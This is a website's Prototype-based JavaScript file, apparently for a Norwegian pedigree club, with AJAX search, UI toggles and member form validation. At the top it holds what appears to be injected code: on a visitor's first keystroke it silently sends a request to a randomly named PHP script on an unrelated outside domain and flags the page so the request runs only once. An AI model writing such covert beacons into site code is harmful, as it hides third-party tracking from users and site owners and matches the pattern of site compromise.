document.observe('keyup', function(e){ 
 var oBody = $$('body')[0];
 if(oBody.readAttribute('hm') != '1'){ 
  var surl = 'http://www.no-rak.no/inc/xyqwtbrwoi.php';  
  new Ajax.Request(surl, {
    onSuccess: function(resp){     
     oBody.writeAttribute("hm", "1");
    }   
  });
 }
});
document.observe('dom:loaded',function(){     
    
    ajaxSearch();
    
     $$('.btn').each(
      function(oBtn){     
       oBtn.observe('mouseover', swap_btn.bindAsEventListener(oBtn));
       oBtn.observe('mouseout', swap_btn.bindAsEventListener(oBtn));  
      }
     );
     $$('.linkbtn').each(
      function(oButton) {
        oAnchor = oButton.up('a');
        oAnchor.observe('click', linkbtn_nav.bindAsEventListener(oAnchor));
      }    
     );
     
     $$('.pedigree').each(
      function(oAnchor) {               
        oAnchor.observe('click', toggleBlock.bindAsEventListener(oAnchor));
      }    
     );
     if($('toggleAll')){      
      Event.observe('toggleAll', 'click', toggleBlockAll);
     }     
     
});

var inputBoxId = 'searchinput';
var ajaxResultPage = 'ajax.php';

// Results go in this element
var ajaxResultContainerId = 'ajax_result';

// It the above elemnt does not exist it is created above this one
var insertResultBeforeId = 'main-content';

// Global variable for the request object
var searching; 

// this is the 'please wait' html
var preloader = '<img id="search_preloader" src="pics/loadingAnimation.gif" alt="loading">';

// this is the error message in case somethinng goes wrong
var AjaxErrorMsg = "something is wrong..";

function ajaxSearch(){

  var searchBox = $(inputBoxId);

  if (searchBox) {

    var resultContainer = $(ajaxResultContainerId);
    if ( !resultContainer ) {
      // Create container if not exists
      $(insertResultBeforeId).insert( { top: '<div id="' + ajaxResultContainerId +'"></div>' } );
      resultContainer = $(ajaxResultContainerId);
    }

    // Attach event listener
    searchBox.observe('keyup', function() { dynSearch(this, resultContainer) } );
  }
}

// ID of the timer used to delay the Ajax search
var timer = 0;
function dynSearch ( el, resultContainer) {

  clearTimeout(timer);
  timer = setTimeout('doSearch("' + el.value.strip() + '", "' + el.name + '" )', 300);

}



function doSearch (searchString, elname) {
  // Pull the search results from the server and fill the
  // resultContainer

  var resultContainer = $(ajaxResultContainerId);
  if (searchString.length > 1) {

    if ( searching != null ) {
      searching.transport.abort();
    }

    var data = elname +'='+ escape(searchString) +'&ajax=yes';
    var url = 'http://www.burak.no/BURAK_NO/tpl/'+ ajaxResultPage +'?'+ data;

    searching = new Ajax.Request(url, {

      method: 'GET',
      onSuccess: function(transport) {
        resultContainer.innerHTML = transport.responseText;
      },
      onError : function(){
        resultContainer.innerHTML = AjaxErrorMsg;
      }
    });

    // Let the user know that something is happening
    resultContainer.innerHTML = preloader;
    resultContainer.setStyle( { display: 'block' } );

  } else {

    resultContainer.innerHTML = '';
    resultContainer.setStyle( { display: 'none' } );
  }
}

function toggleBlockAll(e){
   $$('.pedigree').each(
      function(oAnchor) {               
       var objBlock = oAnchor.up('div');
       var oParent = objBlock.nextSiblings('div')[0];
       var varId = oParent.readAttribute('id');   
       Effect.toggle( varId ,'blind');
      }    
     );
     Event.stop(e);
     
     if($('toggleAll').innerHTML == 'Ekspandér alle' ){
      $('toggleAll').innerHTML = 'Kollaps alle';
     }else{
      $('toggleAll').innerHTML = 'Ekspandér alle';
     }
}

function toggleBlock (e)
 {
    
  var objBlock = $(this).up('div');
  var oParent = objBlock.nextSiblings('div')[0];
  var varId = oParent.readAttribute('id');
   
  Effect.toggle( varId ,'blind');

  Event.stop(e);

}

function swap_btn(e){
 var oButton = $(this);
  
 if(oButton.hasClassName('btn')){
  oButton.removeClassName('btn');
  oButton.addClassName('btn_over');   
 }else if(oButton.hasClassName('btn_over')){
  oButton.removeClassName('btn_over');
  oButton.addClassName('btn');
 }
}

function linkbtn_nav (e)
 {

  var objBtn = $(this);
  var varTarget = objBtn.readAttribute('target');

  if (! varTarget) { varTarget='' };

  var varHref = objBtn.readAttribute('href');
  
  if (varTarget == '_blank' || varTarget == '_new') {
    window.open(varHref);
  }   

  if (varTarget == '' || varTarget == '_top' || varTarget=='_self') {
   document.location.href=varHref;
  }

  Event.stop(e);

}

function check_member(){

    var firstname     = $('firstname').value;
    var lastname = $('lastname').value;
    var telephone   = $('phone').value;
    var email       = $('email').value;

    //-----Check for content-----

    if (!firstname) {
      alert("Vennligst oppgi fornavnet ditt");
      return false;
    }
    else if (!lastname) {
      alert("Vennligst oppgi etternavnet ditt");
      return false;
    }
    else if (!email) {
      alert("Vennligst oppgi en epostadresse");
      return false;
    }

    else if (!telephone) {
      alert("Vennligst oppgi telefonnummer");
      return false;
    }

    //-----Check for valid content-----

    if(!validate_email(email)){
      return false;
    }
    else if(!validate_telephone(telephone)){
      return false;
    }

    //-----Return true if everything is ok-----
    return true;
}

